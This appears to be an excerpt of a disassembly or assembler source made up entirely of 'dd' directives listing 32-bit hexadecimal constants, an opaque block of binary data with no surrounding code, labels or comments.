		dd 473A2FA0h, 548F946h,	235D27F2h, 0EFA00EAFh, 82CC1F33h
		dd 0B2B0F71Bh, 0D4FA6761h, 58389A49h, 9E7397A2h, 753F9400h
		dd 1D29E3D8h, 5D8F609Ch, 4CB10003h, 0F1C08082h,	0A5DFC902h
		dd 499F908Ah, 0D61343Ch, 7601D1BAh, 70CF8EF4h, 0D6EEC48Bh
		dd 7973C70Fh, 97BE2054h, 9AA66BF7h, 4B580040h, 19A44172h
		dd 67010BF1h, 90861844h, 5075245Ch, 62D4FBF1h, 75149A04h
		dd 42440088h, 9689FC2Ch, 9D09802Bh, 90C9EC1Bh, 14194588h
		dd 0ED76B3E8h, 138C2300h, 0ABFC1E98h, 0BC4D3103h, 0F0C1BBF8h
		dd 246EE258h, 80200228h, 50FFA1D9h, 7F0C3417h, 0D8E6D6F1h
		dd 760F165Dh, 0E21C0120h, 227823h, 9E61CB5h, 0D6363E57h
		dd 0E2D4C020h, 0C7007DE0h, 0F97CC2E5h, 7F346BAAh, 0B47903DEh
		dd 0A6B6A54Eh, 91B83940h, 63BCC100h, 576E8AEh, 59C90B15h
		dd 940F28A3h, 9762B140h, 73F2EA1Ah, 0D8011498h,	11D5C7D0h
		dd 8FD40223h, 41580B3Bh, 0FFD85FB7h, 8364F000h,	97028ADFh
		dd 0ED920331h, 63D1A288h, 7C076200h, 0F875BA9Ah, 0F492E0h
		dd 28EE8086h, 0D641369Bh, 0D7403Eh, 0CA49C60Ah,	0F416C4h
		dd 55DB0D24h, 0D4303420h, 10A29624h, 80663B09h,	3DD8CB50h
		dd 0D0C30CA1h, 0EE90C1B5h, 0C002D2F8h, 227E8952h, 85584169h
		dd 4C27C1CCh, 751CB99Eh, 2989B205h, 119D10C0h, 181CCE4Ch
		dd 0A5C8C588h, 0A303E69h, 0B94B9887h, 0DC66A044h, 6500E6B7h
		dd 517509E8h, 24BC4131h, 18F214h, 0A9F44A48h, 7D24197Bh
		dd 0D023CB1h, 83BE96DEh, 0A0EE3092h, 9570169h, 13AD77A3h
		dd 0A7003CABh, 1ABC3282h, 0E41C8800h, 0FD670C59h, 1589A99h
		dd 0B890A139h, 0D73070FEh, 0EB0C5116h, 0F374B401h, 2020E917h
		dd 69421F93h, 19D2466h,	0E49B7961h, 1F421D0h, 0E683BC86h
		dd 0A76E61E0h, 3062B200h, 0EB320DFAh, 0A80B0027h, 4663D225h
		dd 0CE017A70h, 0C539CF58h
		dd 0E9607273h, 82D900AEh, 97DB9069h, 0C1B0A999h, 93C17701h
		dd 7B543979h, 0D57080E3h, 0DC92E0h, 843D0AF4h, 0D962B4BAh
		dd 9C817828h, 4A02AE7Eh, 0CE056C52h, 0D2B18030h, 2A1900Ch
		dd 0D858B3E9h, 2340E7FEh, 0F530A73Dh, 68BEA68h,	0B6590097h
		dd 0CE700786h, 83006B23h, 4CC381EDh, 1D2547h, 5ABC09B4h
		dd 0C8F77B9Ah, 4AEEEE72h, 0A70024E0h, 0D347ECB1h, 9082AA9Dh
		dd 0E08E0628h, 11B6ACD5h, 0BA705DE8h, 806B132Ch, 90713508h
		dd 893727A9h, 104823B0h, 9918B0B3h, 888B483Dh, 3C1482Ch
		dd 16B4193Fh, 7A50C0EFh, 0ABB8C613h, 68F46C05h,	0F00E4770h
		dd 0F481B66Dh, 0D1CF2D3Ch, 608966A5h, 0C4052F21h, 9AC440A1h
		dd 13757ECDh, 0D006775h, 1BF16203h, 50DC651Fh, 74E818h
		dd 2B3297C2h, 0B2B596E7h, 85FFCA00h, 0A5BCE239h, 645E009Ch
		dd 7C7562Fh, 92001D67h,	3155D745h, 12F91558h, 801EE590h
		dd 3B9A8954h, 0D7006498h, 0EE20CE99h, 4E59F6D5h, 0E38400A6h
		dd 0E51F9C86h, 2D2FA907h, 636DECDh, 3A1903F8h, 7EAD5671h
		dd 0B1F34FA8h, 0AE1BE707h, 0C470242Fh, 43A44Bh,	7EFF2A50h
		dd 2EF65884h, 46F89402h, 0C554FA93h, 80968570h,	8FEFC0A7h
		dd 0E024E3FFh, 9C020892h, 0FE6EC6BAh, 0C17E0510h, 2BBC099h
		dd 28003527h, 0D3D0CBC7h, 1128344h, 0E14693A0h,	60095410h
		dd 7F0E38CCh, 52A20BC2h, 0D1CD500h, 95AEDFh, 0A823E049h
		dd 0F8C5464Fh, 0B9379003h, 79C188A7h, 0FCDE630h, 8F80AE34h
		dd 0E7980C60h, 642DD3A7h, 0BDEC00CFh, 58A2B4h, 8409BD9h
		dd 4A71FF3Fh, 24215F2Ch, 0A63DB200h, 67A8FA6Ch,	3034A092h
		dd 5D410B77h, 105AAE09h, 840B3Ah, 2F3A926h, 41CA006h, 25092A8h
		dd 1C35D86Bh, 196087B7h, 0DEE8A0B6h, 5B676100h,	0BB40A34Bh
		dd 5F9C0B89h, 58802A53h, 7BC5C3F3h, 31676C00h, 1DA5BFB4h
		dd 406F00D5h, 53CB3341h, 0E0CF152Eh, 0DE43608Eh, 13D41C95h
		dd 40A364BCh, 397C26A8h, 0EB73ABF5h, 0A4C3DC07h, 0E771C441h
		dd 0A08F6D6Bh, 4481D3BDh, 0CE2404B4h, 0BFE09CEBh, 8031A30Ch
		dd 629A3042h, 0CCBCD8D3h, 9CA21FE9h, 8B24084Ah,	0CB2D8A40h
		dd 63C528EBh, 9BD40340h, 66E9415h, 0F2A7101Ch, 2C9E2E80h
		dd 3F3398Dh, 63A57BEBh,	0F4181CCAh, 7A40C659h, 0B27F1F65h
		dd 0C8C9C378h, 3BD0A058h, 510B13B7h, 3F0354h, 0D0C7DF9Ch
		dd 0A8C9008Eh, 2977A2FBh, 0CB0026F9h, 0E509847h, 514F5Eh
		dd 1AEE271Dh, 4031E8A7h, 8A6FBD17h, 50CE6101h, 0D8C4E5D5h
		dd 83A10347h, 0EEE7CA4Eh, 25B87D0h, 620F100h, 34BCB63Ah
		dd 6BB90067h, 7BE79332h, 2A015953h, 811CF81Dh, 0C1F4EA9Dh
		dd 514107E6h, 0C05EC037h, 50A29A1Bh, 590CF00h, 0E4B4BFE5h
		dd 17D2001Dh, 5140AFE8h, 0CB013B2Dh, 0D3E6B0D7h, 0AE70296Eh
		dd 0C6BF016Bh, 1EFB6DB9h, 0E72824D5h, 9100EEF0h, 94A17B1Ch
		dd 32A050Ch, 59323664h,	2900D31Dh, 0AAAE3867h, 0F0C1797h
		dd 721B0D28h, 27538A20h, 0C105D65Dh, 0A10F8873h, 3EA9D845h
		dd 494FAC03h, 615FC0D9h, 69A71C7Bh, 0A8006525h,	1228D03Ah
		dd 69ACDB30h, 894AA9h, 2DD2F322h, 0C90F30B7h, 21ADB330h
		dd 75682Eh, 0F4FCD406h,	0C71E97EEh, 67788E7Fh, 0E911BB02h
		dd 8124B3C8h, 0BCC67228h, 3B7B960h, 0C9078823h,	9BA0ECDCh
		dd 7A39FE3Ah, 72A88030h, 0A408C667h, 0A7930544h, 0C7E94C84h
		dd 69C0AF6Fh, 9C0E9D05h, 21782407h, 3241AD58h, 0E47445A3h
		dd 4C03497Ch, 0D5BDC800h, 3240F34Bh, 0F739AD00h, 10BEE573h
		dd 5D8C005Fh, 3105DD2Eh, 0FB0083EAh, 0A5D66C65h, 6030EE8h
		dd 8F527B2Fh, 8901184Dh, 0CAD8E957h, 0D5D0EB8Ah, 273003F4h
		dd 0F32D751Dh, 19163030h, 9085E090h, 10D760B5h,	5C113F36h
		dd 0F00B3C03h, 30149530h, 56214008h, 2400E9B0h,	865D645Ah
		dd 0BE3F94h, 5FE41B8Bh,	0DD272A9Ch, 0EAD4F707h,	49E7E9DEh
		dd 0CC11A76Fh, 0F816F4A0h, 76F300BDh, 0A25028EFh, 8CC905Eh
		dd 711660E2h, 4EF30DB5h, 0C2E0D4BFh, 4E98400h, 5087EDC6h
		dd 4C22B4F7h, 142EF060h, 0C50E11EAh, 0DD2FC03Dh, 331AADFh
		dd 59BE065Dh, 51988689h, 903B3222h, 36CD9D7Ah, 3100CD6Ch
		dd 0D5C603D4h, 16FEEEFh, 10E89261h, 0D87F169Dh,	570020A8h
		dd 555348CAh, 1EFC1A5h,	0A9A3275Fh, 0F8839BB7h,	0CC01E822h
		dd 0B2F52D3Bh, 0D3D018DFh, 41121E1Ah, 0A3404081h, 4A13CF2Bh
		dd 2E31991Fh, 0E607E09Dh, 0EDC15FC4h, 4BF097F3h, 0C05F08Eh
		dd 0EAEC2A6Ch, 9400EE20h, 3378D1D5h, 0E9ADA97Ah, 26DA1080h
		dd 2F583268h, 0E7CD090Ch, 0C0DE0880h, 68821321h, 2A073E12h
		dd 6AA1E5C7h, 0B73A21C0h, 70F26C05h, 33247A28h,	0EC18DF08h
		dd 3067F170h, 4F20B537h, 0B30EAD0h, 0F93529A8h,	0C84722Eh
		dd 5637B70Dh, 21CE3109h, 356A0315h, 3A3A7BAEh, 0F8EF484h
		dd 530C3A0Eh, 55607F60h, 5A4BDA79h, 1687DDDh, 0D849F73Ch
		dd 0E9C7E279h, 104042B9h, 262E9133h, 0EFDC9h, 0DA6ADB17h
		dd 0FF15416h, 42E206Fh,	643A5207h, 0EA410E6h, 98EC1AD4h
		dd 0F34510h, 22979DC0h,	0D649A16h, 2B64A00h, 0C9B95DFEh
		dd 52120304h, 952D9C2Bh, 84F60D8h, 2C5E0700h, 0B9683F58h
		dd 9E80018h, 3794466Fh,	1604C749h, 0B7258CA9h, 75AD00EFh
		dd 328E84E8h, 0F6418000h, 2139F7D7h, 7BAB0016h,	65CC9DADh
		dd 1A003809h, 0ED66D44h, 0FDB655h, 414B1B6Ch, 0E35016B7h
		dd 488BE200h, 809012E9h, 0B5BA0F64h, 7E6F2266h,	0C56E2600h
		dd 980F2F20h, 80234A53h, 0D3E81BDEh, 9619023Eh,	226C5291h
		dd 35C30C82h, 18512811h, 54080B93h, 0AF9B2186h,	0E3199018h
		dd 23172077h, 0E220ADF0h, 0C766182Fh, 142208E8h, 28636E01h
		dd 0BE982990h, 5DA52181h, 98FBE446h, 0E981B150h, 0C5CC304Ch
		dd 8D6D4039h, 0A129D301h, 55EF18EAh, 6C2E63E0h,	1670D84Bh
		dd 14D2F588h, 805E0D5h,	0E311CD3Ch, 6C0D00EDh, 0A9A188D3h
		dd 3DF706FAh, 0C96DF6C8h, 9E97ED00h, 0C9618EBh,	0DDACA8D3h
		dd 6C580003h, 0A72016AEh, 7C0C2B4Bh, 0B1248630h, 5EAF14F1h
		dd 0BC3780D5h, 6563CEB9h, 780A92A3h, 18F72CA7h,	7970C700h
		dd 346C9Dh, 82C2F239h, 0BBAB024Dh, 0B36B0900h, 0CC1DF184h
		dd 67EA00FDh, 0B6D885B1h, 9F3F41C2h, 0D7480089h, 0E93AD046h
		dd 0F0D5F852h, 98CA291Ah, 0B83D6114h, 0A9A07E03h, 284EFF1Fh
		dd 0CD814000h, 0A484CF6Ch, 18830200h, 13823551h, 5A2D00B4h
		dd 59FF95FAh, 0E61415D8h, 0E0148A63h, 58DDF1Ch,	0CBA9BD10h
		dd 62742C3Ah, 1D411C00h, 0C30C07F6h, 5BB2050Fh,	8057F8FEh
		dd 0C7B75CC2h, 3499A829h, 6E3714C0h, 680CEEE9h,	0C32070B2h
		dd 6D8982FFh, 449CCA9Ch, 8DCC124h, 6A65B404h, 7D04664Ah
		dd 94A41161h, 404AC024h, 9C0033A9h, 0F730D8AAh,	0BCDD423h
		dd 0FECE8EDCh, 0AC7DD01h, 333AFCE7h, 29DEEE77h,	0A400ABD0h
		dd 6C090456h, 0AF002228h, 0DE172A42h, 593E93h, 5691DAF7h
		dd 820A38E3h, 250EEF03h, 0A0E5582Eh, 4887579Dh,	0A100F6D8h
		dd 0E91C7D7Ah, 0DD00E3DAh, 0A9BBAA61h, 70EBFDC6h, 405A00A6h
		dd 49EC28D6h, 0E538C356h, 69007685h, 88B23BD1h,	1C30A3B5h
		dd 0C0AED875h, 180D96A4h, 0D000C79Dh, 3295E954h, 0FCF992E4h
		dd 0C51F00DBh, 42270F0Bh, 0BB0CFEF2h, 18DA3C4Bh, 0ED670CB3h
		dd 9A11D549h, 0FE0D86FAh, 0C80764C8h, 3FC460F4h, 7F80903Dh
		dd 0C9721E93h
		dd 5B0EAD88h, 879519E2h, 0B4003C47h, 0B783Fh, 12F504DAh
		dd 7C376559h, 5C33EB00h, 79196A1Bh, 0B0A80047h,	58D0E987h
		dd 13757C48h, 5F59DB00h, 6E717395h, 0FDA0007Ah,	9280588Dh
		dd 6700C186h, 78E40723h, 26CF01Bh, 0C6E8F7CBh, 5C405A42h
		dd 0C707217Dh, 0B39163F4h, 1B2C8BF0h, 0E6243CC5h, 853D9700h
		dd 0A50DADE9h, 0A3E2601h, 0A113B838h, 3D423FE4h, 2C00FDF0h
		dd 0AC7830FCh, 0EB00F72Ah, 0D3B488F6h, 0AA0720h, 0CF013310h
		dd 0DC3BA86Bh, 0A3679400h, 0E2A3DCAh, 40C600A2h, 0A7240717h
		dd 0E628CC48h, 2E00F080h, 3847923h, 7F026BCh, 9D3EB6A1h
		dd 0C07877B5h, 1461FBA9h, 83F6FD00h, 0B8040831h, 4F58003Bh
		dd 6B935BA8h, 751DE57Eh, 0EF009C96h, 0A4378BFBh, 175F00D9h
		dd 94C3402Dh, 0A118BDADh, 0E908EBE6h, 9BF3059Fh, 0C01F4366h
		dd 0A9CB59F6h, 7C7E6800h, 28F978A0h, 270F7F64h,	0C5D86B7Dh
		dd 42E0A0A8h, 97D06001h, 0A63A8530h, 0D1764080h, 0FB937280h
		dd 0B606EE4h, 0DCE48259h, 23980028h, 0AFBCD0ECh, 6F3840B3h
		dd 91F08072h, 28258022h, 0C614027Dh, 8CA4F506h,	0A6BED448h
		dd 4AC82A0Eh, 0B5D64019h, 0A5C51Eh, 12950571h, 811A3649h
		dd 96E7D400h, 0B062CF03h, 28F260F4h, 75769FFBh,	6F519A00h
		dd 0ADD63CFEh, 0CCA01CC8h, 61C70002h, 7F329382h, 10FC3830h
		dd 0D97DDBh, 0BC7CBF98h, 0DF33DEA9h, 5E9DF8C0h,	14C8C58Fh
		dd 94FB731Fh, 0BC84D906h, 1C007152h, 1D7713CEh,	0E5DE7A9h
		dd 0A53F5483h, 9EB405Dh, 0EC463530h, 28D11430h,	28EF5CA3h
		dd 0A85EF0h, 0A576AEC1h, 0FF64D822h, 4E833000h,	0E0AFF3E9h
		dd 890B2982h, 647789C8h, 7C7F1100h, 0EFF668ADh,	50A24F3Dh
		dd 0ED0C139Ch, 20F54799h, 645900A0h, 407DABBCh,	0EB015F89h
		dd 6FE5D7E1h, 0AC219657h, 0F9AD180h, 3A230E4h, 0AB29447Eh
		dd 160124ECh, 7A18FEF4h, 2E01F0h, 4DAF28AAh, 0D2D583E7h
		dd 7B3DAC12h, 5F6B1440h, 51DA9E60h, 340880CCh, 0D97215C6h
		dd 67EE858h, 7D92F1EEh,	27FC10B6h, 7C546600h, 0E8D65641h
		dd 0F8D0529Ah, 0EB241480h, 7530C53Dh, 6DC01843h, 0D8D00FA4h
		dd 12F234h, 0FEAEA740h,	78CA72EDh, 0F8B0F86Fh, 36ACADh
		dd 0E15350ECh, 0F791B19Ah, 1F5C4049h, 0A3DF0844h, 511D2701h
		dd 0E8D40B62h, 0C4B556BAh, 0DF72D809h, 0BB008C36h, 57EAD613h
		dd 3AA33F0Ch, 7F09EFECh, 0F907F4A7h, 92982A85h,	80041603h
		dd 653ECB9Fh, 0E9ACAB00h, 8EA79D0Fh, 6C31006Eh,	568019A8h
		dd 3700E0B8h, 6791B025h, 96469ABh, 0D6DBE204h, 7CF1C881h
		dd 0BB427E8h, 25730C9Eh, 0A0214A7Ch, 0C45001F5h, 0A1D82Eh
		dd 9DE57095h, 72D5479Ch, 74A8B309h, 0C2348083h,	5BF94BBh
		dd 78CFF605h, 0E94CC073h, 30F88644h, 8D0894AFh,	0F4D5F9DEh
		dd 4400AB9Eh, 0C214668Fh, 1C73E285h, 40FD40E9h,	9F1CAEDh
		dd 5000B1E6h, 17B43048h, 5EF007AAh, 9BB7C012h, 0D70B4385h
		dd 241C3AE7h, 7CC886F8h, 4A651240h, 56D841C2h, 80A86D0Ah
		dd 0FD17ED80h, 24FFE396h, 82789526h, 31E24AD3h,	0F0018849h
		dd 0E9F1A685h, 1C5C3048h, 824F2412h, 0DA2BD400h, 2307698h
		dd 0A1F907D7h, 9440F02Eh, 8A008863h, 0CE5B7EA7h, 6150Bh
		dd 0BEE76F53h, 50487ACAh, 63F56E1Eh, 966B2D80h,	0C0C2AFCh
		dd 45B8CF9h, 0CB4C45A0h, 0B38107EEh, 0A04CA901h, 86DA1FE3h
		dd 40F01F96h, 3E7F06E1h, 0BC009E7Eh, 9CE6422Fh,	0ADCDB4h
		dd 0F43750DDh, 1E83A68Ch, 0FEDA5807h, 9F3062BEh, 8D9C52h
		dd 0AB3F578Ah, 6F1A92C5h, 555F5E00h, 0F9D0E377h, 53421D2Ah
		dd 82EE00B4h, 0A401DD02h, 616C931Dh, 0C9010E66h, 78881A6Dh
		dd 0B35870h, 304D271Bh,	0F123E34Fh, 7FD8623Fh, 0EFCC1154h
		dd 361434Ch, 0C10B5B8h,	684880B0h, 5C489247h, 9D1849E8h
		dd 0B7F1170h, 714DF401h, 0C36E06B0h, 60A260F8h,	8149217Ah
		dd 0BC60D126h, 6240FC11h, 37A0A019h, 751A7DD5h,	0DC9B0305h
		dd 777ABE68h, 622601F8h, 0D8C47C07h, 4AA1EBCEh,	0F1F483D9h
		dd 0FCA005Dh, 80CC4DA0h, 285015A6h, 0EF0007BCh,	0A852083Dh
		dd 166120h, 9CBFB449h, 7FD5754Dh, 9D282B60h, 161E7128h
		dd 3EE8DCh, 0EC9439F8h,	0C8004556h, 708EC526h, 0F00FF13Fh
		dd 5DFB00B6h, 6EB2D1A2h, 961CEA83h, 0BC807506h,	0BB5534AEh
		dd 6BA700D0h, 0C2D6EC16h, 0D100783Eh, 147B496Eh, 0D32DF0h
		dd 748BF172h, 6076DB0Eh, 0D20024E6h, 30A58A77h,	285A52h
		dd 40923DDDh, 6FD772B4h, 0E0FB4900h, 845C8B0Fh,	0B6060093h
		dd 0DFEA643Fh, 0F2131389h, 40002A3Eh, 12A1AD44h, 434B04AEh
		dd 9130F9B0h, 6245CFECh, 0F81B1090h, 29DCF100h,	66B85A27h
		dd 0F0965B7Ch, 0B400B020h, 96917DA1h, 9ABE8104h, 8AD206BCh
		dd 11ACD9EBh, 9F5B8900h, 1755CD73h, 0A7A8A0ABh,	1D8D24AAh
		dd 0A8E080BCh, 5B6018E2h, 3D23E100h, 0D5A0453h,	706F0009h
		dd 7B3C815Eh, 684CEF39h, 0BDAE8208h, 955861A8h,	3FBA4048h
		dd 9CAECB94h, 0D6B8428h, 7C45C05Fh, 0F7702D08h,	0D86025E1h
		dd 550720DAh, 23A32CE2h, 54D84BE5h, 457691h, 67D20395h
		dd 0CC7197DEh, 1D40C600h, 48512BE0h, 0B98AEC4Fh, 900A3960h
		dd 4594A591h, 7C08BC1h,	211A18F3h, 0D978EDF1h, 5FD0AF5h
		dd 2A39F240h, 653300B0h, 4373EC60h, 24BA9308h, 0E51BEB00h
		dd 0CB7496A1h, 2B643AC8h, 3FB9B209h, 284F7080h,	0D40790AAh
		dd 76AFB431h, 0EAB5B630h, 0DF51094Ah, 6EA3EDB8h, 589A801Eh
		dd 6C9B58C0h, 0CA834FBh, 0C623DE01h, 8A6D648Eh,	0FC9BA1F7h
		dd 0DF58C41h, 0C40FCh, 0E5EBB646h, 9DE23E63h, 0AFC4A519h
		dd 0A2A4ADE1h, 11B8239Ch, 0E4C52603h, 5A806C68h, 35C16D56h
		dd 0A2840951h, 288167BAh, 0D86C304Bh, 573B8C53h, 8558CFh
		dd 49DD3A5Eh, 54A5D49Dh, 13A8B444h, 1E336E77h, 3419540Eh
		dd 2BA893A7h, 86E08DF5h, 86DF3760h, 83C60120h, 0A2F0207Bh
		dd 5A9DF49Fh, 96CC6D01h, 0AA14999Ch, 4D883C30h,	0BD0FF880h
		dd 73C13D0Ah, 0F44D84A0h, 0CC009AFBh, 43496D20h, 0F5B5BFA9h
		dd 8C747FFDh, 582D7270h, 0D600D85Bh, 9D68A7EFh,	2A0026FAh
		dd 0B4B1527Eh, 0E5A1A4F5h, 682001E5h, 54550002h, 0DA5C24C9h
		dd 0D809CAF2h, 0C1322B0Ch, 0C022E7E8h, 9C34CF82h, 0B674C8A2h
		dd 2962C041h, 15A915E8h, 20CC4888h, 473809B4h, 0C820C409h
		dd 88C334DEh, 7E29AC61h, 4100EC1Eh, 7C0074FCh, 57871460h
		dd 0ABC67Fh, 0C221DB6Ah, 48B3B4B0h, 6951E8E7h, 0F3E87207h
		dd 92D0A410h, 0CE1934h,	0A58D8D3h, 82425032h, 0D29A4400h
		dd 0B7850CFFh, 60F30045h, 221E52B2h, 2D0074C7h,	3FA15417h
		dd 7F88C187h, 0C3EA0082h, 262BF3A2h, 0C2EA7D78h, 11CED1Ch
		dd 1ACC9381h, 38206087h, 281B0071h, 9AB1E98Ch, 7A09078Ah
		dd 3DBF6Ch, 79AEC1D2h, 0CBD05A6h, 80EFD484h, 0A775C8A0h
		dd 551E4A00h, 1D312F52h, 7A08024Ch, 434FA47Ch, 240DFC60h
		dd 35309000h, 0AA1EF85Fh, 0A77B071Fh, 0A03C1048h, 5BAEA0DDh
		dd 9FD3D804h, 0DF80F767h, 31816AC7h, 9610660Eh,	0C9A4304Fh
		dd 0D401DAF6h, 3E86C272h, 8C28D7B0h, 0DBAE4E00h, 0A9474CE4h
		dd 8135BE39h, 1A3F06B7h, 0C04028EEh, 0E2D0FBh, 6B4FB249h
		dd 22767334h, 0AD03A4E6h, 7D1BAABFh, 6E74A821h,	0D870C03Dh
		dd 0F2A62C81h, 0E0518B0Eh, 0B062401Ah, 3ECFE4h,	3408B94Dh
		dd 3F9C0C50h, 0CD41F201h
		dd 0E3739AEEh, 6DE8EF0h, 837830F0h, 171D6057h, 0FD407CC3h
		dd 32907B1Dh, 0F3E3000Bh, 34517779h, 4D068F07h,	5AA1820Ah
		dd 1EFAF874h, 40A5688Eh, 7B156E32h, 0D2001240h,	3822E1E8h
		dd 3835450h, 8EC99388h,	8FEAD878h, 19998DC0h, 0CA086800h
		dd 35438057h, 0A1EC2Ch,	9F244ECBh, 0F4C039D6h, 0D5582176h
		dd 0A4E20724h, 4FC752A6h, 0E1F6F310h, 1C57DBDh,	987AC267h
		dd 0E038DBF5h, 3C7B9CFBh, 5620AD01h, 69C027C1h,	73003C68h
		dd 0CB90BD52h, 0D8F12B51h, 61F5A5Ch, 80A4AC8Dh,	25E0F800h
		dd 3E3F24h, 0A1C31480h,	0C6C909F1h, 0E250DE12h,	47E5505h
		dd 0CE33ABC1h, 640441DAh, 21869F4h, 488A1799h, 0A8CE05D7h
		dd 0D3A8807h, 0C902A514h, 9C44E0E7h, 12300229h,	59F5FE89h
		dd 0EB00A056h, 0D82F7AA7h, 3F8500A1h, 0BE72D6E6h, 27032B4Ah
		dd 0EC30BD50h, 36F2817Ch, 0FE7FD880h, 0E14BBC19h, 72122400h
		dd 98E3D5B2h, 5890D9h, 9EF32CB1h, 48A9497h, 0A6A9BD00h
		dd 53E53AFDh, 0EED00962h, 0B00594Eh, 428AC1B3h,	0EBF67000h
		dd 0A6EC4980h, 1EDBE4C5h, 0DE5F238Ch, 86320030h, 241FC16Ch
		dd 26005474h, 0AD5C5E2Ch, 1E82F0h, 473E0C2Eh, 0EDFDABA5h
		dd 0B0B97A30h, 28C80745h, 9C1188h, 0F0242FDEh, 0EC1CC567h
		dd 0F4469A00h, 2726C2E3h, 0FCB8CBh, 0DA1A3645h,	7FA15F67h
		dd 204F6E30h, 0A1C452BEh, 80E72489h, 18B180BBh,	20982AAEh
		dd 0EF00634Dh, 220723B6h, 0BC83D5h, 3917E345h, 0E1053FF9h
		dd 1101CB78h, 0AA5E74A4h, 0C040EEC1h, 0E4340Ch,	3AF47949h
		dd 15525847h, 0FA859500h, 0B1EC4F41h, 0D22A0364h, 1A468BEFh
		dd 0ED7980EDh, 0C409D8FCh, 9D4F67Ch, 8DA58A5Ch,	291DE403h
		dd 0CFE9A0FFh, 32090CCBh, 0E2B0850Fh, 0B40CCEE8h, 781BB9E8h
		dd 39F707CCh, 0C0CD6BDCh, 207DA0EAh, 1241DB00h,	31EE0ED4h
		dd 761F1851h, 0A91030A4h, 0F791CD00h, 0E847CB64h, 0D2909Fh
		dd 4C69F37Eh, 0B1B5D8E5h, 5DE4F0Fh, 409D69D1h, 7907C18h
		dd 0E0F7C44Ch, 77F0408Ch, 0AC00B048h, 0C6A9B9BCh, 0C0A8A335h
		dd 66879A49h, 600016Bh,	56B9F7CAh, 5BB3125Eh, 0B6B840D9h
		dd 1C8CAB9Bh, 1A5B8701h, 38EFE9F3h, 0CBAC7187h,	32789362h
		dd 0EE8F02A8h, 36C6F00Bh, 0B30A3D2h, 0DE081E62h, 7A8F03DFh
		dd 76A312F1h, 0F38CCBB1h, 1008F2C3h, 18BBD39h, 0B79D91CAh
		dd 98E9E8C9h, 46C3C00h,	7CCD1BD3h, 58633092h, 328FA780h
		dd 0D258E360h, 5BFC94h,	0C32CB587h, 98E75117h, 6D05A1F8h
		dd 0A8E9D6EAh, 0B7803CC0h, 72291D5Dh, 357820Eh,	0BCFA6CB8h
		dd 20955F73h, 3228E924h, 9F3D3A7Ah, 6FB97800h, 0D15111D3h
		dd 27F7D813h, 4A054003h, 8D40F050h, 0BA8600CBh,	63DDFA4Dh
		dd 69181D2Bh, 75513011h, 8EEB2FBFh, 0A3BA9C10h,	0E5106567h
		dd 85F8CBE0h, 0AEF63C25h, 1E190E84h, 65EC88BAh,	0B161C502h
		dd 40649DD8h, 0CD90A7h,	91A57ED2h, 0B9A483CEh, 82ADE701h
		dd 4E6BD001h, 2DA18C60h, 98073C33h, 144FE0ECh, 903A517h
		dd 7422BD9Ch, 56CA8194h, 3787230h, 887FE3C0h, 0C2882B5Bh
		dd 0FF3CD329h, 0C8C60036h, 1DB9825Eh, 2CF600D6h, 0FAA8FD08h
		dd 59004234h, 0C60AD35Ch, 0B8802Fh, 0A07E1F53h,	10DDE1F9h
		dd 1AF69901h, 0DF98026Fh, 4C3460h, 52AE0367h, 341D908Ch
		dd 0D12D200h, 1037964Fh, 0B7E30026h, 0E8F3BCB0h, 0C00E3394h
		dd 405388E6h, 2CB3FA9Fh, 8BE55h, 0F96996FDh, 2EB85109h
		dd 5D521001h, 28E32442h, 0A21900EFh, 5C250754h,	78078DF2h
		dd 92416B16h, 0E94C84Ah, 96C09C94h, 75AD8B70h, 8BC04A6h
		dd 805AAA89h, 0A0732B8Ah, 91B5FC03h, 1E575DEFh,	4013CE10h
		dd 36894E6Dh, 0D5006852h, 60F8E94Fh, 9448208Ah,	0CCBC008Ch
		dd 17975E2Dh, 0EE14F90Bh, 822840ABh, 57FB0719h,	0F013E91Dh
		dd 84F68E6Dh, 0BC9A1500h, 8C40ECC1h, 0C85D3F20h, 9DBF4F81h
		dd 0D4A6C0FAh, 8801271Bh, 28437F51h, 86DD179Ah,	70988940h
		dd 2A4A00EAh, 9FA9BBD8h, 64B009C8h, 93E45898h, 0ADACCE00h
		dd 0D0AAF36Ah, 0C68D0004h, 1D354559h, 0B90264D9h, 75D76C14h
		dd 6DE0607Ch, 0E44F00C1h, 383C3095h, 0E801668Bh, 0B6A9E9ABh
		dd 0B0D02C49h, 0DEFB00ECh, 876DD0Eh, 0D0FA7326h, 248CAA2Ch
		dd 0ACC32E00h, 0F95B97h, 0AB8B68Ah, 0BC09FDC0h,	4332CE00h
		dd 51F27AF0h, 90E91F50h, 0AF932Ah, 764AD567h, 0EAEA2B68h
		dd 0D2261C00h, 8C3EF545h, 4727EB5h, 929D62DBh, 0E281BE8Bh
		dd 4B318AACh, 3E7EE468h, 40DF56EFh, 0B00CC12Ch,	0FA00B688h
		dd 2607E23Dh, 9367C0h, 91A074F6h, 0C0B0506h, 5B2E9200h
		dd 552690E2h, 0AB8300DEh, 0EB6C58D4h, 20E65F2h,	0D22F459Fh
		dd 66247C07h, 0A4428ACEh, 0ABBEB307h, 0E8A30DA0h, 481848C9h
		dd 0EE15E200h, 0F589D67Ch, 1A93CB18h, 90C60C18h, 0C4180023h
		dd 208216FEh, 3B003883h, 3E5FCC93h, 13F42D99h, 697341h
		dd 0D098B520h, 0BC001B95h, 893F8E05h, 0A7741Fh,	0E17B1360h
		dd 847577D4h, 60619CAAh, 0DD5181D7h, 559412F2h,	82BCE0FEh
		dd 4CE5EAF7h, 0C2254240h, 0AF02ED5Eh, 0F0ABB734h, 0FFB21718h
		dd 788845A6h, 3CC0F179h, 3E2E00FCh, 75EE73FCh, 803548CBh
		dd 2256CF08h, 42EA6501h, 0FAE18D08h, 77EE3089h,	18145E80h
		dd 7804408Bh, 91B1157Ch, 3F03A4A8h, 44475824h, 4A2580F0h
		dd 30167732h, 6CC6B0h, 0C47EAADFh, 545C5AD9h, 3600D0E4h
		dd 7829164Ch, 0A973E5h,	0B508321Dh, 0E71BE2Ah, 0A5679416h
		dd 0AF880Bh, 8CD8C3DCh,	825A10h, 1B8306B8h, 0ED00BF8Fh
		dd 26C3F092h, 1C586Dh, 98B05D5Ah, 0AB6778CFh, 0DCA2A53Ch
		dd 14020098h, 0E40AE507h, 56040034h, 4F487B92h,	1800EDD6h
		dd 0B317CB4h, 6C9BABh, 1D17E935h, 48126861h, 0C5009AEEh
		dd 90DB7D54h, 0B6D6BCh,	0A6DAB38Eh, 61D8A407h, 4F949906h
		dd 78461Fh, 985B4A04h, 0D4C3E54Dh, 8678D739h, 446240FDh
		dd 0D5373E30h, 48FF418Ch, 77EE9210h, 0E100E25h,	0A014C438h
